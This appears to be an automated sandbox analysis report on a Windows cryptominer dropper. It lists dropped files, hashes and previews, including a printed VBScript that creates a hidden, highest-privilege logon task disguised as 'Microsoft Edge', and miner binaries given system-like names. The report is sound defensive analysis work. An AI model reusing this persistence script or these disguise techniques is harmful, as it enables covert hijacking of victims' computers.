Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqrvq2m1.2c2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tkkejrq4.la2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tw5xsb3k.02t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vokszajx.bpx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wennl4vp.ldk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfnmin1d.o05.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wsmpyfit.gke.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wvbc1o0h.dar.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xizpgnqk.kfe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5qqkr2y.gq5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zhyndefk.d02.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\conf.vbs

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	283
Entropy (8bit):	4.915573758797463
Encrypted:	false
SSDEEP:	6:ZDlzq9NqBVhusd3MEnownCfrV5ug5pVFBzL5LHi4KqGUC:LzqaBTusdnnoymV5RLFBvI4KqrC
MD5:	218C7FCF8EAEFB826A73316798728FA6
SHA1:	11E726ED3FAFE4DF0294EBF79762CD738F23DB0B
SHA-256:	9BF121B6678247E3A940BAB11800060D34AB2C351A85B99BD48B9526067A3C0E
SHA-512:	94403D19338C12CDE98154E379D6B1EE52D289E61085596D4B8E2D5047F38F7BBA7DE6DB8F05AD7693A5B7996D1BEFA285A55B6C0334DC37D6AE7C7723FC6AF7
Malicious:	false
Preview:	Dim objShell.Set objShell = CreateObject("WScript.Shell")..Dim command.command = "schtasks /create /tn ""Microsoft Edge"" /tr """ & objShell.ExpandEnvironmentStrings("%temp%") & "\Microsoft-Edge.exe"" /sc onlogon /rl highest /f"..objShell.Run command, 0, True..Set objShell = Nothing

C:\Users\user\AppData\Local\Temp\miner2.0.exe

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	45056
Entropy (8bit):	7.795901725226477
Encrypted:	false
SSDEEP:	768:iv4/1Nbe9kQpebDo2iXGhnYVEnAnp4E7abB24ga9P06oBCRKthHpOFF9efVw:ik1FnQkbDo/2nqO6D7abByLCWMF9iVw
MD5:	651396CF297F15A1F92EE0A29E27C4EA
SHA1:	695EA25EC711D8742399918D0A769151BF44D1A1
SHA-256:	A649E59EA0F6FBA416D10DCD03900EA7BBEE9C2207F46B23E1BA270FF052BFF1
SHA-512:	A5C59D1032032A30104F365D7F8844C8DF2CA38CA52EFD24497091CBAD719A3B3A7305F55569A1FA5D0C1F473AEF36D6847C8544365600CD646B571FC946269A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....-.f.........."...................... .....@..... ....................................@...@......@............... ............................................................................................................................... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..BH...........8............".......................................................0..G.......s......r...po.....(....r...p(....(....o....o......o......o......o......o.....(....&..&.. ....(......&..(....(....r...p(....(....o....(....r>..p(....s....rP..po....t....(....(....s......r...po..............r...p...(....(....r...p(....(....o....(.......r...p...(....o.......r...p..(....o.....(....o......o......o.....(....&..&..*..(......UU........X..d........g..C.......0..........s......s...... .

C:\Users\user\AppData\Local\Temp\svchost64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\miner2.0.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	7.274337601891547
Encrypted:	false
SSDEEP:	768:kq5xtLVkFxo9120PojL5lVvpFnUkXJ2G95EDYq:bxtL12OojL5l76kXP95EEq
MD5:	A8638A5105C9A663B0D6918D64B3AD21
SHA1:	F35B98542E4E66FCE0008E7879D82BE48698380C
SHA-256:	F795AF49314300157ABF6CBD67B115DD0CD4AD4255E148489051D847FA847E85
SHA-512:	1883D3CF8BBE9E1B2FC754621E71A6A4D97114AF87600084BFB8BEDE44B2FD7E0C6DE14280ED284132FCE19D646031AA5836A3150530CA89FBC8513754A35D28
Malicious:	true
Yara Hits:	Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: C:\Users\user\AppData\Local\Temp\svchost64.exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....-.f.........."...................... .....@..... ....................................@...@......@............... ............................................................................................................................... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..BH............&...............X...................................................0..r.......(....s.... ...o....9....s......r...po................r...p(........r...p....~....(........r...p....~........r...p...(....o......o......o.....(....&.S&~....r...p(....o....~....(....~....o.....(~....r...p(....o....~....(....~....o......&..~....o....~....o....(....9....ri..p(....(.........+........o.......X.......i2.~....ri..p(....r...p(....(....(......&..~....ri..p(....r...p(....(....(......&..

C:\Windows\System32\Microsoft\Libs\WR64.sys

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost64.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Windows\System32\Microsoft\Libs\sihost64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost64.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.789460636179745
Encrypted:	false
SSDEEP:	96:TzPLdR1M7kO0wCIbbjDN792+j6ZlmuKyQLW/BEb0TIoDnLz+PWwOH3aLlYR:Htwd0wCknF92+j6Zwu7i0B7ZqWTaY
MD5:	7112FD4E6B2CDD13C11B8B04A96769CB
SHA1:	1806D301DF0E9FFDA5CFCC76E8237D4C516D4A9E
SHA-256:	D40E908BC1FF808DC0B6B3BB674E9DD425880C06F1DBC23C6796EACE385370BA
SHA-512:	7ADDBFAA7DDA203E18265DA8252B18DAE3BDBD8C5DA8CDB0C427F1E50A4EB9EE39B12367BF23D524E3FE439EA426A2A3F1A68874F68B6B80B576F8788370C295
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....-.f.........."...................... .....@..... .......................`............@...@......@............... ...............................@............................................................................................... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..BH........#..$....................................................................0..&.......~....(.....(.........(......&.(......*...................0..l.........(....r...p(.....(....o.....s.......o....r3..p.s......o.....rK..p(....r...p(.....(....o....(....s....s....(........o......+;..o....t........,)..r...po....,...r...po....o.....o....,.....o....-.....,...o.....~....(....,..-y~....(....,.~.....1Y......~....~.....(....(....s........~....o ......o!.....~....("...o#......o$.....(%...

C:\Windows\System32\services64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\svchost64.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	7.795901725226477
Encrypted:	false
SSDEEP:	768:iv4/1Nbe9kQpebDo2iXGhnYVEnAnp4E7abB24ga9P06oBCRKthHpOFF9efVw:ik1FnQkbDo/2nqO6D7abByLCWMF9iVw
MD5:	651396CF297F15A1F92EE0A29E27C4EA
SHA1:	695EA25EC711D8742399918D0A769151BF44D1A1
SHA-256:	A649E59EA0F6FBA416D10DCD03900EA7BBEE9C2207F46B23E1BA270FF052BFF1
SHA-512:	A5C59D1032032A30104F365D7F8844C8DF2CA38CA52EFD24497091CBAD719A3B3A7305F55569A1FA5D0C1F473AEF36D6847C8544365600CD646B571FC946269A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....-.f.........."...................... .....@..... ....................................@...@......@............... ............................................................................................................................... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..BH...........8............".......................................................0..G.......s......r...po.....(....r...p(....(....o....o......o......o......o......o.....(....&..&.. ....(......&..(....(....r...p(....(....o....(....r>..p(....s....rP..po....t....(....(....s......r...po..............r...p...(....(....r...p(....(....o....(.......r...p...(....o.......r...p..(....o.....(....o......o......o.....(....&..&..*..(......UU........X..d........g..C.......0..........s......s...... .

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4380640507285585
Encrypted:	false
SSDEEP:	6:6sCSClJllVXpRKUEZ+lX1lOJUPelkDdtPjgsW2YRZuy0lb1dt0:6sIlrrpRKQ1lOmeeDHjzvYRQVft0
MD5:	08AA780ED052C566AEECB12B6DD445E9
SHA1:	E47AC5690977888F9398EC42690E4DD0E62DF82B
SHA-256:	AC23B90BCD3DEE09FE6357DD0963CE814931D9C66E188F2CC61094C5B34FA02E
SHA-512:	658922C8A455E18937108998AD578E29D1356B2A0012084D5A2DA943F564D57C19A1656DF1B67963DD27284295F149FEE27CAF88123E95215F97D2A36E53A7C5
Malicious:	false
Preview:	......b....M..mZ....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................*.@3P.........................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	3.2346623411205235
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdSgOgc/0ImsIB1o:Vz6ykymUexb1U9cL9c/0Imp0
MD5:	4FB92084B3D98C91E11E366B62C1ECB6
SHA1:	2DB34F466698A87C6036FF803008EF4EAD25EAA6
SHA-256:	44F02E748FC48EBF2E846798DA0DD204614796FAC663795B340697BA9ECDF0DA
SHA-512:	8FF4E417A5929E07995A7CC53BC366313803D9D13CEC8E4397C91D662893CB9A06E1365BE0CE64AF0B3E3B17069712136918D1B38EFBD17EF847B8878DD8E38D
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0.100 45056 100 45056 0 0 33893 0 0:00:01 0:00:01 --:--:-- 33927..

\Device\Null

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.726581708905135
Encrypted:	false
SSDEEP:	3:9ZwOt+kiE2J5xAIluxLE:9twkn23floE
MD5:	1441DF213253942408FB7892349549D0
SHA1:	2421D1DE1A34D83D4044A30EAC57824AF6978D45
SHA-256:	099F17A7C5F91BE0BDD7A1D10E33A34BDBCE5E45AB8C9ABE1CCACDCF3805C23C
SHA-512:	032B3B9AA352546C18B94A7B87919525948366B7FB105142D425A8C56489CF756AE3D204C31A9840A4299169856C7AF8A7C0A21ECDE703555FAD10F7C6E5C04E
Malicious:	false
Preview:	Could Not Find C:\Users\user\AppData\Local\Temp\miner2.0.exe..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950142025223752
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'862'656 bytes
MD5:	dc730eea0eba910485703a74d173f8e2
SHA1:	093f63548d7366b6c3cbfc3ddfca453199e40eca
SHA256:	18894a1a879e0e75c33ec7988c8835b20b42a3fae8c51f1cb4f026f2b855a6b7
SHA512:	f1726fae08f206b07ac87ecf890059e98b110a1db0c72add91b89ebbbb5e8d431aacfe31c37028db3cf52eefb7a6bdfc137122b82c7b10dd87e6800a641f933d
SSDEEP:	49152:Rf036dyCkdyKg1Il+5elMr8JYPDaLObL:R06dyR9oIlFlMr5V
TLSH:	E18533AFE0510546CDEE033B0E0ED1CE372249479DD66F1801FCA5664BF2E669B5BB09
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF624C12C6Ah
cmovp ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FF624C14C65h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x49efd8	0x10	nataabbx
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x49ef88	0x18	nataabbx
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	3cb1062382225bc2111b9f01c0a83d78	False	0.9973763198228883	data	7.9826212288436125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	e6a31155863748b138ce7f3105aef787	False	0.580078125	data	4.538879761011263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x29f000	0x200	9a9f6632af5b734a7f5d7a363bbf3f70	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nataabbx	0x30a000	0x196000	0x195200	b0c6547f32088cd5197f91be5b44a0b3	False	0.9948613709117556	data	7.954246533814316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ijueevze	0x4a0000	0x1000	0x400	26fc48c0552627760abd3c81844dfe2b	False	0.80078125	data	6.188713023531078	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a1000	0x3000	0x2200	4b3055efcac4608bf6df5682287edf82	False	0.06353400735294118	DOS executable (COM)	0.694309447560145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x49efe8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

